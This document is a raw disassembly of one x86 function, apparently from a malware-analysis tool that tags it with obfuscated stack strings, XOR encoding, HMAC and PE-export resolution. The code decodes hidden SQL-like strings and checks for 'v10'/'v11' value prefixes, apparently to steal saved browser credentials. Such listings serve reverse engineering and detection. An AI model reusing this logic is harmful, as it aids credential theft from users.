Function at 0x411286
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1cc
push ebx
push ebp
push esi
push edi
mov ebp, edx
mov dword [esp + 0xf0], ecx
xor ebx, ebx
mov dword [esp + 0x74], ebp
push 0x57
mov dword [esp + 0x1c], 0xb3cac37c
mov ecx, ebx
mov dword [esp + 0x20], 0x77b9bcae
mov esi, 0xff
mov dword [esp + 0x24], 0xb8cbb89b
pop edx
movzx eax, byte [esp + ecx + 0x18]
sub ax, dx
and ax, si
mov word [esp + ecx*2 + 0x138], ax
inc ecx
cmp ecx, 0xc
jl 0x4112c1
xor eax, eax
mov word [esp + 0x150], ax
mov al, byte [0x42b8b6]
xor al, 0xf
mov byte [0x42b8fc], al
call fcn.00420368
mov dx, word [0x42b8b8]
mov esi, eax
movzx ecx, byte [0x42b8b6]
mov al, dl
mov edi, 0x237d
and al, 0xf0
xor cx, di
mov byte [0x42b8fc], al
mov word [0x42b91c], cx
test esi, esi
jne 0x41134e
movzx eax, cl
xor ecx, 0x79be
imul eax, eax, 0x66
mov byte [0x42b8fc], al
lea eax, [ecx - 0x316a]
mov word [0x42b8b8], ax
xor eax, 0x7b5e
mov word [0x42b91c], ax
jmp 0x4124bf
movzx eax, al
sub eax, 0x56d36f8a
mov dword [0x42b8f8], eax
mov eax, 0x237e
and dx, ax
lea eax, [esp + 0x138]
push ebp
push eax
mov word [0x42b8b8], dx
call fcn.0042318b
mov dx, word [0x42b8b8]
mov ebp, eax
pop ecx
pop ecx
mov cx, dx
mov dword [esp + 0x114], ebp
mov eax, 0x118a
and cx, ax
mov word [0x42b8e4], cx
mov cl, byte [0x42b8fc]
sub cl, 0x42
mov byte [0x42b8fc], cl
test ebp, ebp
je 0x4124bf
movzx eax, byte [0x42b8b6]
mov edi, 0x3623
add ax, di
mov edi, 0x2bd5
mov word [0x42b8e4], ax
movzx eax, cl
xor cl, 0xd2
xor ax, di
mov byte [0x42b8b6], cl
mov word [0x42b91c], ax
mov ecx, ebp
movzx eax, dx
or eax, 0xad1bc784
sub eax, 0x7563883f
mov dword [0x42b8f8], eax
call fcn.00423320
mov ebp, eax
mov dword [esp + 0x110], ebp
test ebp, ebp
je 0x41248a
mov dx, word [0x42b91c]
mov cl, byte [0x42b8e4]
movzx eax, dx
add cl, 0x2e
add eax, 0x6cba7aa0
mov byte [0x42b8fc], cl
mov dword [0x42b8f8], eax
mov ecx, ebp
add eax, 0x5b92
mov word [0x42b91c], ax
movzx eax, dl
xor edx, edx
imul eax, eax, 0xee
and al, 0xe3
or al, 0xc0
mov byte [0x42b8b6], al
call fcn.00423bcd
mov cx, word [0x42b8b8]
mov edi, 0x4d26
movzx edx, word [0x42b8e4]
sub cx, di
xor edx, 0x99e72909
movzx edi, cx
mov dword [esp + 0xf8], eax
mov dword [0x42b8f8], edx
mov dword [esp + 0x7c], edi
mov word [0x42b8e4], cx
test eax, eax
je 0x412438
mov cl, byte [0x42b8b6]
mov edi, 0x23ad
add cl, 0x19
push ebx
push 1
lea eax, [ecx + 0x28]
mov byte [0x42b8b6], al
movzx eax, al
xor ax, di
mov word [0x42b8b8], ax
movzx eax, cl
mov ecx, 0x13a1
add ax, cx
mov word [0x42b91c], ax
mov eax, dword [esp + 0x84]
or al, 0xf1
mov byte [0x42b8fc], al
lea eax, [edx + 0x60da]
mov word [0x42b8e4], ax
lea eax, [esp + 0x84]
push eax
push dword [esp + 0x104]
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x4123e5
mov dword [esp + 0x90], 0xa1a8a1af
mov ecx, ebx
mov dword [esp + 0x94], 0xc17cb09f
mov dword [esp + 0x98], 0xcec5ccd4
mov dword [esp + 0x9c], 0xcbc5d0bd
mov dword [esp + 0xa0], 0xcbc9bbca
mov dword [esp + 0xa4], 0x88c4d0ca
mov dword [esp + 0xa8], 0xccd4c17c
mov dword [esp + 0xac], 0xd0bdcec5
mov dword [esp + 0xb0], 0xbbcacbc5
mov dword [esp + 0xb4], 0xcebdc1d5
mov dword [esp + 0xb8], 0xbdca7c88
mov dword [esp + 0xbc], 0xcbbbc1c9
mov dword [esp + 0xc0], 0xbdbfbbca
mov dword [esp + 0xc4], 0x7c88c0ce
mov dword [esp + 0xc8], 0xc0cebdbf
mov dword [esp + 0xcc], 0xc9d1cabb
mov dword [esp + 0xd0], 0xbbcec1be
mov dword [esp + 0xd4], 0xcebfcac1
mov dword [esp + 0xd8], 0xc1d0ccd5
mov dword [esp + 0xdc], 0xaea27cc0
mov dword [esp + 0xe0], 0xbf7ca9ab
mov dword [esp + 0xe4], 0xc5c0c1ce
mov dword [esp + 0xe8], 0xbdbfbbd0
mov word [esp + 0xec], 0xc0ce
mov byte [esp + 0xee], 0xcf
mov al, byte [esp + ecx + 0x90]
sub al, 0x5c
mov byte [esp + ecx + 0x178], al
inc ecx
cmp ecx, 0x5f
jl 0x411612
push 0x71
pop eax
mov byte [esp + 0x43], al
mov eax, ebx
mov byte [esp + 0x1d7], bl
mov dword [esp + 0x28], 0x474e4755
mov dword [esp + 0x2c], 0x70225645
mov dword [esp + 0x30], 0x2e676f63
mov dword [esp + 0x34], 0x6e637822
mov dword [esp + 0x38], 0x48226777
mov dword [esp + 0x3c], 0x224f5154
mov word [esp + 0x40], 0x7763
mov byte [esp + 0x42], 0x76
mov dword [esp + 0x44], 0x6e6e6b68
movups xmm0, xmmword [esp + eax + 0x28]
psubb xmm0, xmmword [0x428fc0]
movups xmmword [esp + eax + 0x154], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x41167c
mov cx, word [0x42b91c]
mov al, cl
mov byte [esp + 0x174], bl
or al, 0x71
mov byte [0x42b8fc], al
mov eax, 0x4b95
xor cx, ax
movzx eax, cx
add eax, 0xfffff1e3
mov word [0x42b91c], cx
mov word [0x42b8b8], ax
lea eax, [esp + 0x14]
push ebx
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x184]
push eax
push dword [esp + 0x8c]
call dword [esi + 8]
add esp, 0x14
test eax, eax
jne 0x411f8c
mov eax, 0x6b3a
lea edi, [esp + 0x18]
add ax, word [0x42b8b8]
mov ecx, 0x68ee
mov word [0x42b8e4], ax
mov al, byte [0x42b8b6]
and al, 0x8a
push dword [esp + 0x14]
mov byte [0x42b8fc], al
movzx eax, byte [0x42b8b6]
or ax, cx
movzx ecx, word [0x42b8b8]
mov word [0x42b91c], ax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, 0x1374
imul ecx, eax
mov word [0x42b8b8], cx
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x411c59
mov dword [esp + 0x80], 0x727a7d56
mov dword [esp + 0x84], 0x2e488073
mov dword [esp + 0x88], 0xa2844b4e
mov dword [esp + 0x8c], 0x617ba5b3
mov dword [esp + 0x48], 0x60e6d7b
mov dword [esp + 0x4c], 0x4c13041f
mov byte [esp + 0x50], 0x56
mov ecx, ebx
mov al, byte [esp + ecx + 0x80]
sub al, 0xe
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 8
jl 0x411798
mov byte [esp + 0x128], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x88]
sub al, 0x41
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 8
jl 0x4117b7
mov byte [esp + 0x134], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x48]
xor al, 0x76
mov byte [esp + ecx + 0x104], al
inc ecx
cmp ecx, 9
jl 0x4117d6
mov byte [esp + 0x10d], bl
mov ecx, ebx
mov word [esp + 0x24], 0x2f
mov dword [esp + 0x5c], 0x8787b0b7
mov dword [esp + 0x60], 0x87878787
mov dword [esp + 0x64], 0x87878787
mov dword [esp + 0x68], 0x87878787
mov word [esp + 0x6c], 0xb787
mov byte [esp + 0x6e], 0xb0
mov al, byte [esp + ecx + 0x5c]
xor al, 0xba
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 0x13
jl 0x411825
movzx eax, byte [0x42b91c]
lea edx, [esp + 0x120]
imul eax, eax, 0xf4
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
mov byte [esp + 0x3f], bl
mov byte [0x42b8b6], al
mov al, byte [0x42b8f8]
xor al, 0xa8
mov byte [0x42b8fc], al
call fcn.00423aea
movzx eax, byte [0x42b8fc]
or eax, 0x33726768
pop ecx
mov dword [0x42b8f8], eax
mov al, byte [0x42b8b8]
push 2
push dword [esp + 0x18]
and al, 0xdf
mov byte [0x42b8b6], al
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00423aea
add byte [0x42b8fc], 0x83
lea edx, [esp + 0x130]
pop ecx
movzx ecx, word [0x42b8b8]
mov eax, 0x70af
imul ecx, eax
push 0xffffffffffffffff
mov word [0x42b8e4], cx
lea ecx, [esp + 0x1c]
call fcn.00423aea
mov al, byte [0x42b8fc]
pop ecx
push 3
push dword [esp + 0x18]
xor al, 0xcd
mov byte [0x42b8b6], al
call dword [esi + 0x14]
mov edi, eax
mov eax, 0xa699
or word [0x42b8b8], ax
pop ecx
pop ecx
test edi, edi
je 0x411b32
movzx ecx, byte [0x42b8fc]
mov eax, 0xea25
push 3
push dword [esp + 0x18]
or cx, ax
mov word [0x42b8e4], cx
call dword [esi + 0x20]
movzx edx, word [0x42b8e4]
mov ebp, eax
pop ecx
pop ecx
movzx ecx, byte [0x42b8b6]
mov eax, 0x3135
xor cx, ax
and edx, 0xea03aa82
mov al, dl
mov word [0x42b8e4], cx
xor al, 0x94
cmp byte [edi], 0x76
mov byte [esp + 0x73], al
jne 0x411a99
mov al, byte [edi + 1]
mov byte [esp + 0x72], al
cmp al, 0x31
lea eax, [edi + 2]
jne 0x411973
cmp byte [eax], 0x30
je 0x411987
jmp 0x41197e
cmp byte [esp + 0x72], 0x31
jne 0x411a99
cmp byte [eax], 0x31
jne 0x411a99
mov al, byte [0x42b8b8]
mov edx, ebp
movzx ecx, byte [esp + 0x73]
and al, 5
mov byte [0x42b8b6], al
mov eax, 0xdda5
xor ax, word [0x42b91c]
mov word [0x42b8e4], ax
mov eax, 0xaef3
imul ecx, eax
mov word [0x42b8b8], cx
xor ecx, 0x969d
mov word [0x42b91c], cx
add cl, 0x21
movzx eax, cl
imul eax, eax, 0x9895027a
mov byte [0x42b8fc], cl
mov ecx, edi
mov dword [0x42b8f8], eax
lea eax, [esp + 0x54]
push eax
call fcn.0040fac4
mov dl, byte [0x42b8b6]
mov edi, eax
pop ecx
movzx ecx, dl
mov eax, 0x7b73
xor word [0x42b91c], ax
imul ecx, ecx, 0xfacba993
mov dword [0x42b8f8], ecx
test edi, edi
je 0x411b32
push dword [esp + 0x54]
add dl, 0xf3
mov eax, 0xf499
movzx ecx, dl
imul ecx, eax
mov byte [0x42b8b6], dl
mov word [0x42b8e4], cx
mov cx, word [0x42b8b8]
mov al, cl
and al, 0xac
mov byte [0x42b8fc], al
movzx eax, dl
mov edx, 0x3c90
and ax, dx
mov edx, edi
mov word [0x42b91c], ax
movzx eax, cx
lea ecx, [esp + 0x1c]
and eax, 0xe7e34372
mov dword [0x42b8f8], eax
call fcn.0042358a
mov eax, 0xf97a
or ax, word [0x42b91c]
mov word [0x42b8b8], ax
mov al, byte [0x42b8f8]
pop ecx
add al, 0x24
push edi
mov byte [0x42b8b6], al
call fcn.004056f0
jmp 0x411b31
mov eax, ecx
mov dword [esp + 0x11c], edi
xor eax, 0x1b10
mov dword [esp + 0x118], ebp
mov word [0x42b91c], ax
and edx, 0x69ec
sub al, 0x32
mov word [0x42b8b8], dx
mov byte [0x42b8fc], al
mov edx, 0xbedfd981
movzx eax, cx
add eax, 0x1c7aaa8a
mov dword [0x42b8f8], eax
lea eax, [esp + 0xfc]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x130]
push eax
push 3
pop ecx
call fcn.0041568d
call eax
test eax, eax
je 0x411b32
movzx ecx, word [0x42b91c]
mov eax, 0xcef7
push dword [esp + 0xfc]
mov edx, dword [esp + 0x104]
add byte [0x42b8b6], 0x9f
imul ecx, eax
mov word [0x42b91c], cx
lea ecx, [esp + 0x1c]
call fcn.0042358a
pop ecx
mov eax, dword [0x42b8f8]
lea edx, [esp + 0x104]
add eax, 0x4336
mov ecx, 0x48b6
mov word [0x42b8e4], ax
movzx eax, byte [0x42b8fc]
sub ax, cx
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
mov word [0x42b8b8], ax
call fcn.00423aea
pop ecx
mov cl, byte [0x42b8e4]
movzx eax, cl
xor cl, 0x1a
imul eax, eax, 0xdd
push ebx
push dword [esp + 0x18]
mov byte [0x42b8fc], cl
mov byte [0x42b8b6], al
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00423aea
movzx eax, byte [0x42b91c]
lea edx, [esp + 0x28]
imul eax, eax, 0x5f
pop ecx
mov ecx, 0x12a4
push 0xffffffffffffffff
mov byte [0x42b8fc], al
mov ax, word [0x42b8b8]
and ax, cx
lea ecx, [esp + 0x1c]
mov word [0x42b91c], ax
call fcn.00423aea
pop ecx
push 1
push dword [esp + 0x18]
mov eax, 0xaa53
xor word [0x42b8e4], ax
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00423aea
mov al, byte [0x42b8e4]
lea edx, [esp + 0x2c]
sub al, 0x55
pop ecx
movzx ecx, byte [0x42b8fc]
mov byte [0x42b8b6], al
mov eax, 0xcf1d
imul ecx, eax
push 0xffffffffffffffff
mov word [0x42b91c], cx
lea eax, [ecx + 0x8da]
lea ecx, [esp + 0x1c]
mov word [0x42b8b8], ax
call fcn.00423aea
pop ecx
push dword [esp + 0x14]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x411796
cmp dword [esp + 0x18], ebx
je 0x411f8c
mov dword [esp + 0x28], 0x52536031
mov ecx, ebx
mov dword [esp + 0x2c], 0x4f316257
mov edx, 0xff
mov dword [esp + 0x30], 0x1d615260
mov dword [esp + 0x34], 0x4d615a13
mov dword [esp + 0x38], 0x1c615a13
mov word [esp + 0x3c], 0x6662
mov byte [esp + 0x3e], 0x62
movzx eax, byte [esp + ecx + 0x28]
add ax, 0x12
and ax, dx
mov word [esp + ecx*2 + 0x90], ax
inc ecx
cmp ecx, 0x17
jl 0x411c9e
mov dx, word [0x42b8b8]
xor eax, eax
movzx ecx, word [0x42b8e4]
mov word [esp + 0xbe], ax
add ecx, 0x91a25eb3
movzx eax, dl
imul eax, eax, 0x7b
mov dword [0x42b8f8], ecx
or cl, 7
mov byte [0x42b8fc], cl
mov ecx, dword [esp + 0x74]
mov byte [0x42b8b6], al
mov eax, 0xf528
or ax, dx
lea edx, [esp + 0x54]
mov word [0x42b8e4], ax
call fcn.004140d4
movzx edx, word [0x42b91c]
mov ecx, 0x895b
imul edx, ecx
mov edi, eax
mov word [0x42b8e4], dx
and dl, 0x38
mov byte [0x42b8fc], dl
test edi, edi
je 0x411ea1
mov cx, word [0x42b8b8]
mov edx, dword [esp + 0x54]
movzx eax, cl
imul eax, eax, 0x6b
mov byte [0x42b8b6], al
mov eax, 0x2bc6
sub cx, ax
mov al, byte [0x42b8f8]
or al, 0x43
mov word [0x42b91c], cx
add al, 0x51
mov ecx, 0x20b9
mov byte [0x42b8fc], al
movzx eax, al
sub ax, cx
mov ecx, edi
mov word [0x42b8e4], ax
lea eax, [esp + 0x74]
push eax
call fcn.0040fac4
pop ecx
mov ecx, 0x8688
mov ebp, eax
or cx, word [0x42b8e4]
mov word [0x42b91c], cx
test ebp, ebp
je 0x411e85
mov dword [esp + 0x54], 0x886e2d30
mov ecx, ebx
mov word [esp + 0x58], 0x5d9c
mov byte [esp + 0x5a], 0x43
mov al, byte [esp + ecx + 0x54]
sub al, 0x23
mov byte [esp + ecx + 0xfc], al
inc ecx
cmp ecx, 7
jl 0x411db8
mov byte [esp + 0x103], bl
mov ecx, ebx
mov word [esp + 0x24], 0xfd00
mov al, byte [esp + ecx + 0x24]
add al, 0xd
mov byte [esp + ecx + 0x54], al
inc ecx
cmp ecx, 2
jl 0x411ddb
movzx eax, byte [0x42b8fc]
lea edx, [esp + 0xfc]
mov ecx, 0xba3a
mov byte [esp + 0x56], bl
xor ax, cx
lea ecx, [esp + 0x18]
mov word [0x42b8b8], ax
add eax, 0xffff8765
mov word [0x42b8e4], ax
mov al, byte [0x42b8f8]
or al, 0x44
push 0xffffffffffffffff
mov byte [0x42b8fc], al
call fcn.00423aea
pop ecx
push dword [esp + 0x74]
mov eax, 0x7166
lea ecx, [esp + 0x1c]
or ax, word [0x42b91c]
mov edx, ebp
mov word [0x42b8e4], ax
call fcn.0042358a
mov eax, 0x52d8
lea edx, [esp + 0x58]
add ax, word [0x42b8b8]
pop ecx
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
mov word [0x42b91c], ax
call fcn.00423aea
pop ecx
mov eax, 0xcaf
add word [0x42b8b8], ax
push ebp
call fcn.004056f0
pop ecx
movzx eax, byte [0x42b8fc]
mov ecx, 0x2e04
add ax, cx
push edi
mov word [0x42b91c], ax
call fcn.004056f0
pop ecx
mov eax, dword [0x42b8f8]
push dword [esp + 0x1e0]
mov ebp, dword [esp + 0xf4]
or eax, 0x6864
mov word [0x42b8b8], ax
lea eax, [esp + 0x94]
push ebp
push eax
call fcn.0042318b
mov cx, word [0x42b8e4]
mov edi, eax
mov eax, 0xb69e
add esp, 0xc
or cx, ax
mov ax, word [0x42b8b8]
mov dl, al
mov word [0x42b8e4], cx
movzx eax, ax
xor dl, 0xe6
sub eax, 0x5afd812f
mov byte [0x42b8b6], dl
mov dword [0x42b8f8], eax
test edi, edi
je 0x411f77
mov ax, word [0x42b8b8]
mov ecx, 0x70ed
sub ax, cx
or dl, 0x5e
movzx ecx, byte [0x42b8fc]
mov word [0x42b8e4], ax
mov eax, 0xdfe3
imul ecx, eax
mov byte [0x42b8fc], dl
mov edx, dword [esp + 0x20]
push edi
mov word [0x42b8b8], cx
mov ecx, dword [esp + 0x1c]
call fcn.0041e8a4
pop ecx
mov cx, word [0x42b8b8]
movzx eax, cx
and cl, 6
xor eax, 0x8a391f2e
mov byte [0x42b8fc], cl
push edi
mov dword [0x42b8f8], eax
call fcn.004056f0
pop ecx
mov cx, word [0x42b8e4]
push dword [esp + 0x18]
or cl, 0x6b
mov byte [0x42b8fc], cl
call fcn.004056f0
pop ecx
jmp 0x411f93
mov ebp, dword [esp + 0xf0]
imul eax, dword [0x42b8f8], 0x5292
mov ecx, 0xa368
push dword [esp + 0x14]
mov word [0x42b91c], ax
xor al, 0x65
mov byte [0x42b8fc], al
movzx eax, al
or ax, cx
mov word [0x42b8b8], ax
call dword [esi + 0x18]
or dword [0x42b8f8], 0xf2921fad
lea eax, [esp + 0x18]
pop ecx
push ebx
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x160]
push eax
push dword [esp + 0x8c]
call dword [esi + 8]
add esp, 0x14
test eax, eax
jne 0x4123b4
movzx eax, byte [0x42b8b6]
lea edi, [esp + 0x18]
push dword [esp + 0x14]
mov ecx, 0x731c
xor ax, cx
mov ecx, 0x154f
mov word [0x42b91c], ax
mov ax, word [0x42b8b8]
add ax, cx
movzx ecx, byte [0x42b8fc]
mov word [0x42b8e4], ax
movzx eax, ax
or eax, 0x1ec06769
mov dword [0x42b8f8], eax
mov eax, 0x52c4
and cx, ax
xor eax, eax
stosd dword es:[edi], eax
mov word [0x42b8b8], cx
and cl, 0x4e
mov byte [0x42b8b6], cl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x412239
mov dword [esp + 0x74], 0x19111d32
mov word [esp + 0x78], 0x5c46
mov dword [esp + 0x48], 0x5e693532
mov dword [esp + 0x4c], 0x55a4a53
mov byte [esp + 0x50], 0x1f
mov ecx, ebx
mov al, byte [esp + ecx + 0x74]
xor al, 0x7c
mov byte [esp + ecx + 0xf0], al
inc ecx
cmp ecx, 6
jl 0x412087
mov byte [esp + 0xf6], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x48]
xor al, 0x3f
mov byte [esp + ecx + 0x104], al
inc ecx
cmp ecx, 9
jl 0x4120a3
mov byte [esp + 0x10d], bl
mov ecx, ebx
mov dword [esp + 0x5c], 0xfafac7ca
mov dword [esp + 0x60], 0xfafafafa
mov dword [esp + 0x64], 0xfafafafa
mov dword [esp + 0x68], 0xfafafafa
mov word [esp + 0x6c], 0xcafa
mov byte [esp + 0x6e], 0xc7
mov al, byte [esp + ecx + 0x5c]
add al, 0x43
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 0x13
jl 0x4120eb
movzx eax, byte [0x42b8b6]
mov edx, 0x46b4
movzx ecx, word [0x42b8b8]
sub ax, dx
sub cl, 0x73
mov word [0x42b8b8], ax
movzx eax, word [0x42b91c]
lea edx, [esp + 0xf0]
xor cl, 0x68
mov byte [esp + 0x3b], bl
mov byte [0x42b8b6], cl
and eax, 0xef6b1a09
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
mov dword [0x42b8f8], eax
call fcn.00423aea
movzx edx, word [0x42b91c]
mov eax, 0x2695
xor ax, word [0x42b91c]
or edx, 0x97903da1
mov word [0x42b8b8], ax
movzx eax, dl
pop ecx
imul eax, eax, 0x47
push ebx
push dword [esp + 0x18]
mov dword [0x42b8f8], edx
mov byte [0x42b8b6], al
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00423aea
movzx eax, byte [0x42b8fc]
lea edx, [esp + 0x108]
or eax, 0xda46bd77
pop ecx
mov dword [0x42b8f8], eax
lea ecx, [esp + 0x18]
add al, 0x29
push 0xffffffffffffffff
mov byte [0x42b8b6], al
call fcn.00423aea
mov al, byte [0x42b8b8]
pop ecx
push 1
push dword [esp + 0x18]
and al, 0x86
mov byte [0x42b8b6], al
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00423aea
mov eax, 0x3bd5
lea edx, [esp + 0x2c]
or ax, word [0x42b8e4]
mov word [0x42b91c], ax
mov eax, dword [0x42b8f8]
pop ecx
or eax, 0xc526
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
mov word [0x42b8e4], ax
call fcn.00423aea
pop ecx
push dword [esp + 0x14]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x412085
movzx eax, word [0x42b91c]
sub eax, 0x11e79652
mov dword [0x42b8f8], eax
cmp dword [esp + 0x18], ebx
je 0x4123b4
push 0x71
mov dword [esp + 0x2c], 0xe0e5e6b2
mov ecx, 0xff
mov dword [esp + 0x30], 0xdddddad7
mov dword [esp + 0x34], 0xdd96a0e4
mov dword [esp + 0x38], 0xdd96d0e4
mov dword [esp + 0x3c], 0xe9e59fe4
mov byte [esp + 0x40], 0xe5
pop edx
movzx eax, byte [esp + ebx + 0x28]
sub ax, dx
and ax, cx
mov word [esp + ebx*2 + 0x90], ax
inc ebx
cmp ebx, 0x15
jl 0x412289
push dword [esp + 0x1e0]
and byte [0x42b8fc], 0x9f
xor eax, eax
mov word [esp + 0xbe], ax
movzx eax, byte [0x42b8b6]
and eax, 0x70f0caba
mov dword [0x42b8f8], eax
add eax, 0xffffc813
mov word [0x42b91c], ax
mov eax, 0xc18
or ax, word [0x42b8e4]
mov word [0x42b8b8], ax
lea eax, [esp + 0x94]
push ebp
push eax
call fcn.0042318b
mov cl, byte [0x42b8f8]
mov edi, eax
and cl, 0x4e
add esp, 0xc
mov byte [0x42b8b6], cl
test edi, edi
je 0x412382
mov dx, word [0x42b91c]
mov ecx, 0x6785
and byte [0x42b8fc], 0x36
movzx eax, dx
imul eax, ecx
mov ecx, dword [esp + 0x18]
push edi
mov word [0x42b8e4], ax
mov eax, 0x528a
sub dx, ax
mov word [0x42b8b8], dx
mov edx, dword [esp + 0x24]
call fcn.0041e8a4
pop ecx
movzx ecx, word [0x42b8e4]
mov eax, 0x4a79
imul ecx, eax
movzx eax, word [0x42b91c]
xor eax, 0xf282521e
push edi
mov dword [0x42b8f8], eax
mov word [0x42b8e4], cx
add cl, 6
mov byte [0x42b8b6], cl
call fcn.004056f0
pop ecx
mov al, byte [0x42b8fc]
mov cx, word [0x42b8e4]
add al, 0x28
push dword [esp + 0x18]
mov byte [0x42b8b6], al
lea eax, [ecx - 0x71]
mov byte [0x42b8fc], al
movzx eax, cx
add eax, 0x7ee47084
mov dword [0x42b8f8], eax
call fcn.004056f0
pop ecx
mov eax, dword [0x42b8f8]
push dword [esp + 0x14]
add eax, 0x5a06
mov word [0x42b8b8], ax
mov eax, 0x73a3
or ax, word [0x42b8e4]
mov word [0x42b91c], ax
call dword [esi + 0x18]
mov ebp, dword [esp + 0x114]
pop ecx
movzx ecx, word [0x42b8e4]
mov eax, 0xa238
push dword [esp + 0x7c]
imul ecx, eax
mov eax, dword [0x42b8f8]
add eax, 0x63ef
mov word [0x42b8b8], ax
mov word [0x42b91c], cx
call dword [esi + 0x1c]
mov eax, 0x8e2d
add word [0x42b8b8], ax
mov al, byte [0x42b8fc]
pop ecx
push dword [esp + 0xf8]
sub al, 0x7f
mov byte [0x42b8b6], al
call fcn.004056f0
pop ecx
movzx eax, byte [0x42b8fc]
mov edx, 0xe759
and ax, dx
xor ecx, ecx
push ebp
mov edx, 0x62d87b
mov word [0x42b91c], ax
inc ecx
call fcn.0041568d
call eax
mov ax, word [0x42b91c]
mov ecx, 0x1b1d
sub ax, cx
mov word [0x42b8e4], ax
movzx eax, byte [0x42b8b6]
imul eax, eax, 0xd8291f46
push ebp
mov dword [0x42b8f8], eax
call fcn.004056f0
pop ecx
movzx ecx, word [0x42b8b8]
mov eax, 0xef18
push dword [esp + 0x114]
imul ecx, eax
mov word [0x42b8b8], cx
or cl, 0xd9
mov byte [0x42b8fc], cl
sub cl, 0x7a
mov byte [0x42b8b6], cl
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1cc
ret